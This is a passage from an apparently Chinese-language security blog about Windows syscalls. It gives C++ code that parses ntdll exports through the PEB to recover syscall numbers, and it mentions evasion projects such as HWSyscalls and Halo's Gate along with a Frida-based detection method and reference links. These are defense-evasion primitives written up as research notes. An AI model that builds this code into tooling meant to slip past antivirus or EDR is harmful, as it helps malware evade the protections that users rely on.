1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <iostream> #include <Windows.h> #include <map> #include "peb.h" using namespace std;int GetSSN () { std::map<int , string> Nt_Table; PBYTE ImageBase; PIMAGE_DOS_HEADER Dos = NULL ; PIMAGE_NT_HEADERS Nt = NULL ; PIMAGE_FILE_HEADER File = NULL ; PIMAGE_OPTIONAL_HEADER Optional = NULL ; PIMAGE_EXPORT_DIRECTORY ExportTable = NULL ; PPEB Peb = (PPEB)__readgsqword(0x60 ); PLDR_MODULE pLoadModule; pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10 ); ImageBase = (PBYTE)pLoadModule->BaseAddress; Dos = (PIMAGE_DOS_HEADER)ImageBase; if (Dos->e_magic != IMAGE_DOS_SIGNATURE) return 1 ; Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew); File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof (DWORD))); Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof (IMAGE_FILE_HEADER)); ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0 ].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions)); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals); for (WORD cx = 0 ; cx < ExportTable->NumberOfNames; cx++) { PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]); PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; if (strncmp ((char *)pczFunctionName, "Zw" , 2 ) == 0 ) { printf ("Function Name:%s\tFunction Address:%p\n" , pczFunctionName, pFunctionAddress); Nt_Table[(int )pFunctionAddress] = (string)pczFunctionName; } } int index = 0 ; for (std::map<int , string>::iterator iter = Nt_Table.begin (); iter != Nt_Table.end (); ++iter) { cout << "index:" << index << ' ' << iter->second << endl; index += 1 ; } } int main () { GetSSN (); return 0 ; }
img
HWSyscalls(后续完善)
https://github.com/Dec0ne/HWSyscalls/
今日逛reddit无意间发现的新项目,HWSyscalls是一种使用HWBP、HalosGate和带有HWBP的kernel32上的合成跳板执行间接syscalls的新方法
后续有时间的话再看下
Syscall检测(后续完善)
https://passthehashbrowns.github.io/detecting-direct-syscalls-with-frida
在ntdll.dll中的系统调用一般都会遵循结构代码
1 2 3 4 mov r10, rcx mov eax, 「Syscall Number」 syscall ret
frida没接触过 后面研究下
Referernces
https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
https://myzxcg.com/2022/01/Windows-系统调用分析与免杀实现/
http://moonflower.fun/index.php/2022/10/31/339/
https://bbs.pediy.com/thread-223023.htm
https://idiotc4t.com/defense-evasion/dynamic-get-syscallid
https://cloud.tencent.com/developer/article/1470904
https://tttang.com/archive/1464/
https://forum.butian.net/share/1014
https://trickster0.github.io/posts/Halo's-Gate-Evolves-to-Tartarus-Gate/
https://www.ctfiot.com/84964.html